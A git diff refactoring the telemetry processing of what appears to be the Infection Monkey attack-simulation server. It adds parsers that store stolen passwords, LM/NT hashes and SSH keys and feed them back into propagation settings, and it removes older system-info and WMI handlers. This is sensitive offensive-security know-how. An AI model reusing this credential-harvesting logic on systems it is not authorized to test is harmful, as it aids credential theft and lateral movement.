diff --git a/monkey/monkey_island/cc/services/telemetry/processing/system_info_collectors/aws.py b/monkey/monkey_island/cc/services/telemetry/processing/aws_info.py similarity index 57% rename from monkey/monkey_island/cc/services/telemetry/processing/system_info_collectors/aws.py rename to monkey/monkey_island/cc/services/telemetry/processing/aws_info.py index 0fae438d4..020f236f0 100644 --- a/monkey/monkey_island/cc/services/telemetry/processing/system_info_collectors/aws.py +++ b/monkey/monkey_island/cc/services/telemetry/processing/aws_info.py @@ -5,11 +5,11 @@ from monkey_island.cc.models.monkey import Monkey logger = logging.getLogger(__name__) -def process_aws_telemetry(collector_results, monkey_guid): - relevant_monkey = Monkey.get_single_monkey_by_guid(monkey_guid) +def process_aws_telemetry(telemetry_json): + relevant_monkey = Monkey.get_single_monkey_by_guid(telemetry_json["monkey_guid"]) - if "instance_id" in collector_results: - instance_id = collector_results["instance_id"] + if "instance_id" in telemetry_json["data"]: + instance_id = telemetry_json["data"]["instance_id"] relevant_monkey.aws_instance_id = instance_id relevant_monkey.save() logger.debug( diff --git a/monkey/monkey_island/cc/services/telemetry/processing/credentials/__init__.py b/monkey/monkey_island/cc/services/telemetry/processing/credentials/__init__.py new file mode 100644 index 000000000..034f2e83b --- /dev/null +++ b/monkey/monkey_island/cc/services/telemetry/processing/credentials/__init__.py @@ -0,0 +1 @@ +from .credentials import Credentials diff --git a/monkey/monkey_island/cc/services/telemetry/processing/credentials/credentials.py b/monkey/monkey_island/cc/services/telemetry/processing/credentials/credentials.py new file mode 100644 index 000000000..25fe5835f --- /dev/null +++ b/monkey/monkey_island/cc/services/telemetry/processing/credentials/credentials.py @@ -0,0 +1,19 @@ +from __future__ import annotations + +from dataclasses import dataclass +from typing import Any, Mapping, Sequence + + +@dataclass(frozen=True) +class Credentials: + identities: Sequence[Mapping] + secrets: Sequence[Mapping] + monkey_guid: str + + @staticmethod + def from_mapping(cred_dict: Mapping[str, Any], monkey_guid: str) -> Credentials: + return Credentials( + identities=cred_dict["identities"], + secrets=cred_dict["secrets"], + monkey_guid=monkey_guid, + ) diff --git a/monkey/monkey_island/cc/services/telemetry/processing/credentials/credentials_parser.py b/monkey/monkey_island/cc/services/telemetry/processing/credentials/credentials_parser.py new file mode 100644 index 000000000..5c6d15631 --- /dev/null +++ b/monkey/monkey_island/cc/services/telemetry/processing/credentials/credentials_parser.py @@ -0,0 +1,41 @@ +import logging +from itertools import chain +from typing import Mapping + +from common.common_consts.credential_component_type import CredentialComponentType +from monkey_island.cc.models import StolenCredentials + +from .credentials import Credentials +from .identities.username_processor import process_username +from .secrets.lm_hash_processor import process_lm_hash +from .secrets.nt_hash_processor import process_nt_hash +from .secrets.password_processor import process_password +from .secrets.ssh_key_processor import process_ssh_key + +logger = logging.getLogger(__name__) + +CREDENTIAL_COMPONENT_PROCESSORS = { + CredentialComponentType.LM_HASH: process_lm_hash, + CredentialComponentType.NT_HASH: process_nt_hash, + CredentialComponentType.PASSWORD: process_password, + CredentialComponentType.SSH_KEYPAIR: process_ssh_key, + CredentialComponentType.USERNAME: process_username, +} + + +def parse_credentials(telemetry_dict: Mapping): + credentials = [ + Credentials.from_mapping(credential, telemetry_dict["monkey_guid"]) + for credential in telemetry_dict["data"] + ] + + for credential in credentials: + _store_in_db(credential) + for cred_comp in chain(credential.identities, credential.secrets): + credential_type = CredentialComponentType[cred_comp["credential_type"]] + CREDENTIAL_COMPONENT_PROCESSORS[credential_type](cred_comp, credential) + + +def _store_in_db(credentials: Credentials): + stolen_cred_doc = StolenCredentials.from_credentials(credentials) + stolen_cred_doc.save() diff --git a/monkey/monkey_island/cc/services/telemetry/processing/credentials/identities/__init__.py b/monkey/monkey_island/cc/services/telemetry/processing/credentials/identities/__init__.py new file mode 100644 index 000000000..e69de29bb diff --git a/monkey/monkey_island/cc/services/telemetry/processing/credentials/identities/username_processor.py b/monkey/monkey_island/cc/services/telemetry/processing/credentials/identities/username_processor.py new file mode 100644 index 000000000..1b2febdb9 --- /dev/null +++ b/monkey/monkey_island/cc/services/telemetry/processing/credentials/identities/username_processor.py @@ -0,0 +1,8 @@ +from typing import Mapping + +from monkey_island.cc.services.config import ConfigService +from monkey_island.cc.services.telemetry.processing.credentials import Credentials + + +def process_username(username: Mapping, _: Credentials): + ConfigService.creds_add_username(username["username"]) diff --git a/monkey/monkey_island/cc/services/telemetry/processing/credentials/secrets/__init__.py b/monkey/monkey_island/cc/services/telemetry/processing/credentials/secrets/__init__.py new file mode 100644 index 000000000..e69de29bb diff --git a/monkey/monkey_island/cc/services/telemetry/processing/credentials/secrets/lm_hash_processor.py b/monkey/monkey_island/cc/services/telemetry/processing/credentials/secrets/lm_hash_processor.py new file mode 100644 index 000000000..4939c81bf --- /dev/null +++ b/monkey/monkey_island/cc/services/telemetry/processing/credentials/secrets/lm_hash_processor.py @@ -0,0 +1,8 @@ +from typing import Mapping + +from monkey_island.cc.services.config import ConfigService +from monkey_island.cc.services.telemetry.processing.credentials import Credentials + + +def process_lm_hash(lm_hash: Mapping, _: Credentials): + ConfigService.creds_add_lm_hash(lm_hash["lm_hash"]) diff --git a/monkey/monkey_island/cc/services/telemetry/processing/credentials/secrets/nt_hash_processor.py b/monkey/monkey_island/cc/services/telemetry/processing/credentials/secrets/nt_hash_processor.py new file mode 100644 index 000000000..82f82af89 --- /dev/null +++ b/monkey/monkey_island/cc/services/telemetry/processing/credentials/secrets/nt_hash_processor.py @@ -0,0 +1,8 @@ +from typing import Mapping + +from monkey_island.cc.services.config import ConfigService +from monkey_island.cc.services.telemetry.processing.credentials import Credentials + + +def process_nt_hash(nt_hash: Mapping, _: Credentials): + ConfigService.creds_add_ntlm_hash(nt_hash["nt_hash"]) diff --git a/monkey/monkey_island/cc/services/telemetry/processing/credentials/secrets/password_processor.py b/monkey/monkey_island/cc/services/telemetry/processing/credentials/secrets/password_processor.py new file mode 100644 index 000000000..6df5a33ce --- /dev/null +++ b/monkey/monkey_island/cc/services/telemetry/processing/credentials/secrets/password_processor.py @@ -0,0 +1,8 @@ +from typing import Mapping + +from monkey_island.cc.services.config import ConfigService +from monkey_island.cc.services.telemetry.processing.credentials import Credentials + + +def process_password(password: Mapping, _: Credentials): + ConfigService.creds_add_password(password["password"]) diff --git a/monkey/monkey_island/cc/services/telemetry/processing/credentials/secrets/ssh_key_processor.py b/monkey/monkey_island/cc/services/telemetry/processing/credentials/secrets/ssh_key_processor.py new file mode 100644 index 000000000..be8ecf08a --- /dev/null +++ b/monkey/monkey_island/cc/services/telemetry/processing/credentials/secrets/ssh_key_processor.py @@ -0,0 +1,32 @@ +from typing import Mapping + +from monkey_island.cc.services.config import ConfigService +from monkey_island.cc.services.telemetry.processing.credentials import Credentials + + +class SSHKeyProcessingError(ValueError): + def __init__(self, msg=""): + self.msg = f"Error while processing ssh keypair: {msg}" + super().__init__(self.msg) + + +def process_ssh_key(keypair: Mapping, credentials: Credentials): + if len(credentials.identities) != 1: + raise SSHKeyProcessingError( + f"SSH credentials have {len(credentials.identities)} users associated with it!" + ) + + if not _contains_both_keys(keypair): + raise SSHKeyProcessingError("Private or public key missing") + + ConfigService.ssh_add_keys( + public_key=keypair["public_key"], + private_key=keypair["private_key"], + ) + + +def _contains_both_keys(ssh_key: Mapping) -> bool: + try: + return ssh_key["public_key"] and ssh_key["private_key"] + except KeyError: + return False diff --git a/monkey/monkey_island/cc/services/telemetry/processing/exploit.py b/monkey/monkey_island/cc/services/telemetry/processing/exploit.py index e302be5f5..dc5b2e638 100644 --- a/monkey/monkey_island/cc/services/telemetry/processing/exploit.py +++ b/monkey/monkey_island/cc/services/telemetry/processing/exploit.py @@ -4,7 +4,6 @@ import dateutil from monkey_island.cc.models import Monkey from monkey_island.cc.server_utils.encryption import get_datastore_encryptor -from monkey_island.cc.services.config import ConfigService from monkey_island.cc.services.edge.displayed_edge import EdgeService from monkey_island.cc.services.node import NodeService from monkey_island.cc.services.telemetry.processing.utils import ( @@ -19,41 +18,16 @@ def process_exploit_telemetry(telemetry_json): encrypt_exploit_creds(telemetry_json) edge = get_edge_by_scan_or_exploit_telemetry(telemetry_json) update_network_with_exploit(edge, telemetry_json) - update_node_credentials_from_successful_attempts(edge, telemetry_json) - add_exploit_extracted_creds_to_config(telemetry_json) check_machine_exploited( current_monkey=Monkey.get_single_monkey_by_guid(telemetry_json["monkey_guid"]), - exploit_successful=telemetry_json["data"]["result"], + exploit_successful=telemetry_json["data"]["exploitation_result"], exploiter=telemetry_json["data"]["exploiter"], target_ip=telemetry_json["data"]["machine"]["ip_addr"], timestamp=telemetry_json["timestamp"], ) -def add_exploit_extracted_creds_to_config(telemetry_json): - if "credentials" in telemetry_json["data"]["info"]: - creds = telemetry_json["data"]["info"]["credentials"] - for user in creds: - ConfigService.creds_add_username(creds[user]["username"]) - if "password" in creds[user] and creds[user]["password"]: - ConfigService.creds_add_password(creds[user]["password"]) - if "lm_hash" in creds[user] and creds[user]["lm_hash"]: - ConfigService.creds_add_lm_hash(creds[user]["lm_hash"]) - if "ntlm_hash" in creds[user] and creds[user]["ntlm_hash"]: - ConfigService.creds_add_ntlm_hash(creds[user]["ntlm_hash"]) - - -def update_node_credentials_from_successful_attempts(edge: EdgeService, telemetry_json): - for attempt in telemetry_json["data"]["attempts"]: - if attempt["result"]: - found_creds = {"user": attempt["user"]} - for field in ["password", "lm_hash", "ntlm_hash", "ssh_key"]: - if len(attempt[field]) != 0: - found_creds[field] = attempt[field] - NodeService.add_credentials_to_node(edge.dst_node_id, found_creds) - - def update_network_with_exploit(edge: EdgeService, telemetry_json): telemetry_json["data"]["info"]["started"] = dateutil.parser.parse( telemetry_json["data"]["info"]["started"] @@ -65,8 +39,10 @@ def update_network_with_exploit(edge: EdgeService, telemetry_json): new_exploit.pop("machine") new_exploit["timestamp"] = telemetry_json["timestamp"] edge.update_based_on_exploit(new_exploit) - if new_exploit["result"]: + if new_exploit["exploitation_result"]: NodeService.set_node_exploited(edge.dst_node_id) + if new_exploit["propagation_result"]: + NodeService.set_node_propagated(edge.dst_node_id) def encrypt_exploit_creds(telemetry_json): diff --git a/monkey/monkey_island/cc/services/telemetry/processing/post_breach.py b/monkey/monkey_island/cc/services/telemetry/processing/post_breach.py index 5506ff54d..e4f83947e 100644 --- a/monkey/monkey_island/cc/services/telemetry/processing/post_breach.py +++ b/monkey/monkey_island/cc/services/telemetry/processing/post_breach.py @@ -1,8 +1,14 @@ import copy -from common.common_consts.post_breach_consts import POST_BREACH_COMMUNICATE_AS_BACKDOOR_USER +from common.common_consts.post_breach_consts import ( + POST_BREACH_COMMUNICATE_AS_BACKDOOR_USER, + POST_BREACH_PROCESS_LIST_COLLECTION, +) from monkey_island.cc.database import mongo from monkey_island.cc.models import Monkey +from monkey_island.cc.services.telemetry.zero_trust_checks.antivirus_existence import ( + check_antivirus_existence, +) from monkey_island.cc.services.telemetry.zero_trust_checks.communicate_as_backdoor_user import ( check_new_user_communication, ) @@ -10,15 +16,19 @@ from monkey_island.cc.services.telemetry.zero_trust_checks.communicate_as_backdo EXECUTION_WITHOUT_OUTPUT = "(PBA execution produced no output)" -def process_communicate_as_backdoor_user_telemetry(telemetry_json): - current_monkey = Monkey.get_single_monkey_by_guid(telemetry_json["monkey_guid"]) +def process_communicate_as_backdoor_user_telemetry(telemetry_json, current_monkey): message = telemetry_json["data"]["result"][0] success = telemetry_json["data"]["result"][1] check_new_user_communication(current_monkey, success, message) +def process_process_list_collection_telemetry(telemetry_json, current_monkey): + check_antivirus_existence(telemetry_json, current_monkey) + + POST_BREACH_TELEMETRY_PROCESSING_FUNCS = { POST_BREACH_COMMUNICATE_AS_BACKDOOR_USER: process_communicate_as_backdoor_user_telemetry, + POST_BREACH_PROCESS_LIST_COLLECTION: process_process_list_collection_telemetry, } @@ -44,7 +54,10 @@ def process_post_breach_telemetry(telemetry_json): post_breach_action_name = telemetry_json["data"]["name"] if post_breach_action_name in POST_BREACH_TELEMETRY_PROCESSING_FUNCS: - POST_BREACH_TELEMETRY_PROCESSING_FUNCS[post_breach_action_name](telemetry_json) + current_monkey = Monkey.get_single_monkey_by_guid(telemetry_json["monkey_guid"]) + POST_BREACH_TELEMETRY_PROCESSING_FUNCS[post_breach_action_name]( + telemetry_json, current_monkey + ) telemetry_json["data"] = convert_telem_data_to_list(telemetry_json["data"]) diff --git a/monkey/monkey_island/cc/services/telemetry/processing/processing.py b/monkey/monkey_island/cc/services/telemetry/processing/processing.py index 667928d3c..709097ee0 100644 --- a/monkey/monkey_island/cc/services/telemetry/processing/processing.py +++ b/monkey/monkey_island/cc/services/telemetry/processing/processing.py @@ -1,29 +1,36 @@ import logging from common.common_consts.telem_categories import TelemCategoryEnum +from monkey_island.cc.models.telemetries import save_telemetry +from monkey_island.cc.services.telemetry.processing.aws_info import process_aws_telemetry +from monkey_island.cc.services.telemetry.processing.credentials.credentials_parser import ( + parse_credentials, +) from monkey_island.cc.services.telemetry.processing.exploit import process_exploit_telemetry from monkey_island.cc.services.telemetry.processing.post_breach import process_post_breach_telemetry from monkey_island.cc.services.telemetry.processing.scan import process_scan_telemetry -from monkey_island.cc.services.telemetry.processing.scoutsuite import process_scoutsuite_telemetry from monkey_island.cc.services.telemetry.processing.state import process_state_telemetry -from monkey_island.cc.services.telemetry.processing.system_info import process_system_info_telemetry from monkey_island.cc.services.telemetry.processing.tunnel import process_tunnel_telemetry logger = logging.getLogger(__name__) TELEMETRY_CATEGORY_TO_PROCESSING_FUNC = { - TelemCategoryEnum.TUNNEL: process_tunnel_telemetry, - TelemCategoryEnum.STATE: process_state_telemetry, - TelemCategoryEnum.EXPLOIT: process_exploit_telemetry, - TelemCategoryEnum.SCAN: process_scan_telemetry, - TelemCategoryEnum.SYSTEM_INFO: process_system_info_telemetry, - TelemCategoryEnum.POST_BREACH: process_post_breach_telemetry, - TelemCategoryEnum.SCOUTSUITE: process_scoutsuite_telemetry, # `lambda *args, **kwargs: None` is a no-op. - TelemCategoryEnum.TRACE: lambda *args, **kwargs: None, TelemCategoryEnum.ATTACK: lambda *args, **kwargs: None, + TelemCategoryEnum.AWS_INFO: process_aws_telemetry, + TelemCategoryEnum.CREDENTIALS: parse_credentials, + TelemCategoryEnum.EXPLOIT: process_exploit_telemetry, + TelemCategoryEnum.POST_BREACH: process_post_breach_telemetry, + TelemCategoryEnum.SCAN: process_scan_telemetry, + TelemCategoryEnum.STATE: process_state_telemetry, + TelemCategoryEnum.TRACE: lambda *args, **kwargs: None, + TelemCategoryEnum.TUNNEL: process_tunnel_telemetry, } +# Don't save credential telemetries in telemetries collection. +# Credentials are stored in StolenCredentials documents +UNSAVED_TELEMETRIES = [TelemCategoryEnum.CREDENTIALS] + def process_telemetry(telemetry_json): try: @@ -32,6 +39,10 @@ def process_telemetry(telemetry_json): TELEMETRY_CATEGORY_TO_PROCESSING_FUNC[telem_category](telemetry_json) else: logger.info("Got unknown type of telemetry: %s" % telem_category) + + if telem_category not in UNSAVED_TELEMETRIES: + save_telemetry(telemetry_json) + except Exception as ex: logger.error( "Exception caught while processing telemetry. Info: {}".format(ex), exc_info=True diff --git a/monkey/monkey_island/cc/services/telemetry/processing/scan.py b/monkey/monkey_island/cc/services/telemetry/processing/scan.py index 764cd3044..54379dc45 100644 --- a/monkey/monkey_island/cc/services/telemetry/processing/scan.py +++ b/monkey/monkey_island/cc/services/telemetry/processing/scan.py @@ -1,3 +1,5 @@ +from typing import Mapping + from monkey_island.cc.database import mongo from monkey_island.cc.models import Monkey from monkey_island.cc.services.node import NodeService @@ -13,6 +15,9 @@ from monkey_island.cc.services.telemetry.zero_trust_checks.segmentation import ( def process_scan_telemetry(telemetry_json): + if not _host_responded(telemetry_json["data"]["machine"]): + return + update_edges_and_nodes_based_on_scan_telemetry(telemetry_json) check_open_data_endpoints(telemetry_json) @@ -38,3 +43,11 @@ def update_edges_and_nodes_based_on_scan_telemetry(telemetry_json): ) label = NodeService.get_label_for_endpoint(node["_id"]) edge.update_label(node["_id"], label) + + +def _host_responded(machine_state: Mapping) -> bool: + return machine_state["icmp"] or _has_open_ports(machine_state) + + +def _has_open_ports(machine_state: Mapping) -> bool: + return len(machine_state["services"].keys()) > 0 diff --git a/monkey/monkey_island/cc/services/telemetry/processing/scoutsuite.py b/monkey/monkey_island/cc/services/telemetry/processing/scoutsuite.py deleted file mode 100644 index 5f2677bcb..000000000 --- a/monkey/monkey_island/cc/services/telemetry/processing/scoutsuite.py +++ /dev/null @@ -1,38 +0,0 @@ -import json - -from monkey_island.cc.database import mongo -from monkey_island.cc.models.zero_trust.scoutsuite_data_json import ScoutSuiteRawDataJson -from monkey_island.cc.services.zero_trust.scoutsuite.consts.scoutsuite_findings_list import ( - SCOUTSUITE_FINDINGS, -) -from monkey_island.cc.services.zero_trust.scoutsuite.consts.service_consts import SERVICES -from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_parser import RuleParser -from monkey_island.cc.services.zero_trust.scoutsuite.scoutsuite_rule_service import ( - ScoutSuiteRuleService, -) -from monkey_island.cc.services.zero_trust.scoutsuite.scoutsuite_zt_finding_service import ( - ScoutSuiteZTFindingService, -) - - -def process_scoutsuite_telemetry(telemetry_json): - # Encode data to json, because mongo can't save it as document (invalid document keys) - telemetry_json["data"] = json.dumps(telemetry_json["data"]) - ScoutSuiteRawDataJson.add_scoutsuite_data(telemetry_json["data"]) - scoutsuite_data = json.loads(telemetry_json["data"])["data"] - create_scoutsuite_findings(scoutsuite_data[SERVICES]) - update_data(telemetry_json) - - -def create_scoutsuite_findings(cloud_services: dict): - for finding in SCOUTSUITE_FINDINGS: - for rule in finding.rules: - rule_data = RuleParser.get_rule_data(cloud_services, rule) - rule = ScoutSuiteRuleService.get_rule_from_rule_data(rule_data) - ScoutSuiteZTFindingService.process_rule(finding, rule) - - -def update_data(telemetry_json): - mongo.db.scoutsuite.insert_one( - {"guid": telemetry_json["monkey_guid"]}, {"results": telemetry_json["data"]} - ) diff --git a/monkey/monkey_island/cc/services/telemetry/processing/system_info.py b/monkey/monkey_island/cc/services/telemetry/processing/system_info.py deleted file mode 100644 index 7d7f404ce..000000000 --- a/monkey/monkey_island/cc/services/telemetry/processing/system_info.py +++ /dev/null @@ -1,107 +0,0 @@ -import logging - -from monkey_island.cc.server_utils.encryption import get_datastore_encryptor -from monkey_island.cc.services.config import ConfigService -from monkey_island.cc.services.node import NodeService -from monkey_island.cc.services.telemetry.processing.system_info_collectors.system_info_telemetry_dispatcher import ( # noqa: E501 - SystemInfoTelemetryDispatcher, -) -from monkey_island.cc.services.wmi_handler import WMIHandler - -logger = logging.getLogger(__name__) - - -def process_system_info_telemetry(telemetry_json): - dispatcher = SystemInfoTelemetryDispatcher() - telemetry_processing_stages = [ - process_ssh_info, - process_credential_info, - process_wmi_info, - dispatcher.dispatch_collector_results_to_relevant_processors, - ] - - # Calling safe_process_telemetry so if one of the stages fail, we log and move on instead of - # failing the rest of - # them, as they are independent. - for stage in telemetry_processing_stages: - safe_process_telemetry(stage, telemetry_json) - - -def safe_process_telemetry(processing_function, telemetry_json): - # noinspection PyBroadException - try: - processing_function(telemetry_json) - except Exception as err: - logger.error( - "Error {} while in {} stage of processing telemetry.".format( - str(err), processing_function.__name__ - ), - exc_info=True, - ) - - -def process_ssh_info(telemetry_json): - if "ssh_info" in telemetry_json["data"]: - ssh_info = telemetry_json["data"]["ssh_info"] - encrypt_system_info_ssh_keys(ssh_info) - if telemetry_json["data"]["network_info"]["networks"]: - # We use user_name@machine_ip as the name of the ssh key stolen, thats why we need ip - # from telemetry - add_ip_to_ssh_keys(telemetry_json["data"]["network_info"]["networks"][0], ssh_info) - add_system_info_ssh_keys_to_config(ssh_info) - - -def add_system_info_ssh_keys_to_config(ssh_info): - for user in ssh_info: - ConfigService.creds_add_username(user["name"]) - # Public key is useless without private key - if user["public_key"] and user["private_key"]: - ConfigService.ssh_add_keys( - user["public_key"], user["private_key"], user["name"], user["ip"] - ) - - -def add_ip_to_ssh_keys(ip, ssh_info): - for key in ssh_info: - key["ip"] = ip["addr"] - - -def encrypt_system_info_ssh_keys(ssh_info): - for idx, user in enumerate(ssh_info): - for field in ["public_key", "private_key", "known_hosts"]: - if ssh_info[idx][field]: - ssh_info[idx][field] = get_datastore_encryptor().encrypt(ssh_info[idx][field]) - - -def process_credential_info(telemetry_json): - if "credentials" in telemetry_json["data"]: - creds = telemetry_json["data"]["credentials"] - add_system_info_creds_to_config(creds) - replace_user_dot_with_comma(creds) - - -def replace_user_dot_with_comma(creds): - for user in creds: - if -1 != user.find("."): - new_user = user.replace(".", ",") - creds[new_user] = creds.pop(user) - - -def add_system_info_creds_to_config(creds): - for user in creds: - ConfigService.creds_add_username(creds[user]["username"]) - if "password" in creds[user] and creds[user]["password"]: - ConfigService.creds_add_password(creds[user]["password"]) - if "lm_hash" in creds[user] and creds[user]["lm_hash"]: - ConfigService.creds_add_lm_hash(creds[user]["lm_hash"]) - if "ntlm_hash" in creds[user] and creds[user]["ntlm_hash"]: - ConfigService.creds_add_ntlm_hash(creds[user]["ntlm_hash"]) - - -def process_wmi_info(telemetry_json): - users_secrets = {} - - if "wmi" in telemetry_json["data"]: - monkey_id = NodeService.get_monkey_by_guid(telemetry_json["monkey_guid"]).get("_id") - wmi_handler = WMIHandler(monkey_id, telemetry_json["data"]["wmi"], users_secrets) - wmi_handler.process_and_handle_wmi_info() diff --git a/monkey/monkey_island/cc/services/telemetry/processing/system_info_collectors/system_info_telemetry_dispatcher.py b/monkey/monkey_island/cc/services/telemetry/processing/system_info_collectors/system_info_telemetry_dispatcher.py deleted file mode 100644 index 702cffe2c..000000000 --- a/monkey/monkey_island/cc/services/telemetry/processing/system_info_collectors/system_info_telemetry_dispatcher.py +++ /dev/null @@ -1,68 +0,0 @@ -import logging -import typing - -from common.common_consts.system_info_collectors_names import AWS_COLLECTOR, PROCESS_LIST_COLLECTOR -from monkey_island.cc.services.telemetry.processing.system_info_collectors.aws import ( - process_aws_telemetry, -) -from monkey_island.cc.services.telemetry.zero_trust_checks.antivirus_existence import ( - check_antivirus_existence, -) - -logger = logging.getLogger(__name__) - -SYSTEM_INFO_COLLECTOR_TO_TELEMETRY_PROCESSORS = { - AWS_COLLECTOR: [process_aws_telemetry], - PROCESS_LIST_COLLECTOR: [check_antivirus_existence], -} - - -class SystemInfoTelemetryDispatcher(object): - def __init__( - self, - collector_to_parsing_functions: typing.Mapping[str, typing.List[typing.Callable]] = None, - ): - """ - :param collector_to_parsing_functions: Map between collector names and a list of functions - that process the output of that collector. - If `None` is supplied, uses the default one; This should be the normal flow, overriding the - collector->functions mapping is useful mostly for testing. - """ - if collector_to_parsing_functions is None: - collector_to_parsing_functions = SYSTEM_INFO_COLLECTOR_TO_TELEMETRY_PROCESSORS - self.collector_to_processing_functions = collector_to_parsing_functions - - def dispatch_collector_results_to_relevant_processors(self, telemetry_json): - """ - If the telemetry has collectors' results, dispatches the results to the relevant - processing functions. - :param telemetry_json: Telemetry sent from the Monkey - """ - if "collectors" in telemetry_json["data"]: - self.dispatch_single_result_to_relevant_processor(telemetry_json) - - def dispatch_single_result_to_relevant_processor(self, telemetry_json): - relevant_monkey_guid = telemetry_json["monkey_guid"] - - for collector_name, collector_results in telemetry_json["data"]["collectors"].items(): - self.dispatch_result_of_single_collector_to_processing_functions( - collector_name, collector_results, relevant_monkey_guid - ) - - def dispatch_result_of_single_collector_to_processing_functions( - self, collector_name, collector_results, relevant_monkey_guid - ): - if collector_name in self.collector_to_processing_functions: - for processing_function in self.collector_to_processing_functions[collector_name]: - # noinspection PyBroadException - try: - processing_function(collector_results, relevant_monkey_guid) - except Exception as e: - logger.error( - "Error {} while processing {} system info telemetry".format( - str(e), collector_name - ), - exc_info=True, - ) - else: - logger.warning("Unknown system info collector name: {}".format(collector_name)) diff --git a/monkey/monkey_island/cc/services/telemetry/zero_trust_checks/antivirus_existence.py b/monkey/monkey_island/cc/services/telemetry/zero_trust_checks/antivirus_existence.py index d2f154a9e..4e8a86fb4 100644 --- a/monkey/monkey_island/cc/services/telemetry/zero_trust_checks/antivirus_existence.py +++ b/monkey/monkey_island/cc/services/telemetry/zero_trust_checks/antivirus_existence.py @@ -1,7 +1,6 @@ import json import common.common_consts.zero_trust_consts as zero_trust_consts -from monkey_island.cc.models import Monkey from monkey_island.cc.models.zero_trust.event import Event from monkey_island.cc.services.telemetry.zero_trust_checks.known_anti_viruses import ( ANTI_VIRUS_KNOWN_PROCESS_NAMES, @@ -11,9 +10,7 @@ from monkey_island.cc.services.zero_trust.monkey_findings.monkey_zt_finding_serv ) -def check_antivirus_existence(process_list_json, monkey_guid): - current_monkey = Monkey.get_single_monkey_by_guid(monkey_guid) - +def check_antivirus_existence(telemetry_json, current_monkey): process_list_event = Event.create_event( title="Process list", message="Monkey on {} scanned the process list".format(current_monkey.hostname), @@ -21,7 +18,7 @@ def check_antivirus_existence(process_list_json, monkey_guid): ) events = [process_list_event] - av_processes = filter_av_processes(process_list_json["process_list"]) + av_processes = filter_av_processes(telemetry_json["data"]["result"][0]) for process in av_processes: events.append( diff --git a/monkey/monkey_island/cc/services/utils/bootloader_config.py b/monkey/monkey_island/cc/services/utils/bootloader_config.py deleted file mode 100644 index f1eaf9368..000000000 --- a/monkey/monkey_island/cc/services/utils/bootloader_config.py +++ /dev/null @@ -1,11 +0,0 @@ -MIN_GLIBC_VERSION = 2.14 - -SUPPORTED_WINDOWS_VERSIONS = { - "xp_or_lower": False, - "vista": False, - "vista_sp1": False, - "vista_sp2": True, - "windows7": True, - "windows7_sp1": True, - "windows8_or_greater": True, -} diff --git a/monkey/monkey_island/cc/services/utils/formatting.py b/monkey/monkey_island/cc/services/utils/formatting.py new file mode 100644 index 000000000..5f356cf49 --- /dev/null +++ b/monkey/monkey_island/cc/services/utils/formatting.py @@ -0,0 +1,7 @@ +from datetime import datetime + +from common.common_consts.time_formats import DEFAULT_TIME_FORMAT + + +def timestamp_to_date(timestamp: int) -> str: + return datetime.fromtimestamp(timestamp).strftime(DEFAULT_TIME_FORMAT) diff --git a/monkey/monkey_island/cc/services/utils/network_utils.py b/monkey/monkey_island/cc/services/utils/network_utils.py index fc991a1c0..0a64af5ec 100644 --- a/monkey/monkey_island/cc/services/utils/network_utils.py +++ b/monkey/monkey_island/cc/services/utils/network_utils.py @@ -1,10 +1,8 @@ import array -import collections import ipaddress import socket import struct import sys -from typing import List from netifaces import AF_INET, ifaddresses, interfaces from ring import lru @@ -16,14 +14,13 @@ if sys.platform == "win32": local_hostname = socket.gethostname() return socket.gethostbyname_ex(local_hostname)[2] - else: import fcntl def local_ips(): result = [] try: - is_64bits = sys.maxsize > 2 ** 32 + is_64bits = sys.maxsize > 2**32 struct_size = 40 if is_64bits else 32 s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) max_possible = 8 # initial value @@ -53,11 +50,6 @@ else: return result -def is_local_ips(ips: List) -> bool: - filtered_local_ips = [ip for ip in local_ip_addresses() if not ip.startswith("169.254")] - return collections.Counter(ips) == collections.Counter(filtered_local_ips) - - # The local IP addresses list should not change often. Therefore, we can cache the result and # never call this function # more than once. This stopgap measure is here since this function is called a lot of times diff --git a/monkey/monkey_island/cc/services/utils/node_states.py b/monkey/monkey_island/cc/services/utils/node_states.py index bf5f2211a..cb8024bd2 100644 --- a/monkey/monkey_island/cc/services/utils/node_states.py +++ b/monkey/monkey_island/cc/services/utils/node_states.py @@ -9,15 +9,13 @@ class NodeStates(Enum): CLEAN_UNKNOWN = "clean_unknown" CLEAN_LINUX = "clean_linux" CLEAN_WINDOWS = "clean_windows" - EXPLOITED_LINUX = "exploited_linux" - EXPLOITED_WINDOWS = "exploited_windows" + PROPAGATED_LINUX = "propagated_linux" + PROPAGATED_WINDOWS = "propagated_windows" ISLAND = "island" ISLAND_MONKEY_LINUX = "island_monkey_linux" ISLAND_MONKEY_LINUX_RUNNING = "island_monkey_linux_running" - ISLAND_MONKEY_LINUX_STARTING = "island_monkey_linux_starting" ISLAND_MONKEY_WINDOWS = "island_monkey_windows" ISLAND_MONKEY_WINDOWS_RUNNING = "island_monkey_windows_running" - ISLAND_MONKEY_WINDOWS_STARTING = "island_monkey_windows_starting" MANUAL_LINUX = "manual_linux" MANUAL_LINUX_RUNNING = "manual_linux_running" MANUAL_WINDOWS = "manual_windows" @@ -26,10 +24,6 @@ class NodeStates(Enum): MONKEY_LINUX_RUNNING = "monkey_linux_running" MONKEY_WINDOWS = "monkey_windows" MONKEY_WINDOWS_RUNNING = "monkey_windows_running" - MONKEY_WINDOWS_STARTING = "monkey_windows_starting" - MONKEY_LINUX_STARTING = "monkey_linux_starting" - MONKEY_WINDOWS_OLD = "monkey_windows_old" - MONKEY_LINUX_OLD = "monkey_linux_old" @staticmethod def get_by_keywords(keywords: List) -> NodeStates: diff --git a/monkey/monkey_island/cc/services/wmi_handler.py b/monkey/monkey_island/cc/services/wmi_handler.py deleted file mode 100644 index d2f3441f9..000000000 --- a/monkey/monkey_island/cc/services/wmi_handler.py +++ /dev/null @@ -1,181 +0,0 @@ -from monkey_island.cc.database import mongo -from monkey_island.cc.services.groups_and_users_consts import GROUPTYPE, USERTYPE - - -class WMIHandler(object): - ADMINISTRATORS_GROUP_KNOWN_SID = "1-5-32-544" - - def __init__(self, monkey_id, wmi_info, user_secrets): - - self.monkey_id = monkey_id - self.info_for_mongo = {} - self.users_secrets = user_secrets - if not wmi_info: - self.users_info = "" - self.groups_info = "" - self.groups_and_users = "" - self.services = "" - self.products = "" - else: - self.users_info = wmi_info["Win32_UserAccount"] - self.groups_info = wmi_info["Win32_Group"] - self.groups_and_users = wmi_info["Win32_GroupUser"] - self.services = wmi_info["Win32_Service"] - self.products = wmi_info["Win32_Product"] - - def process_and_handle_wmi_info(self): - - 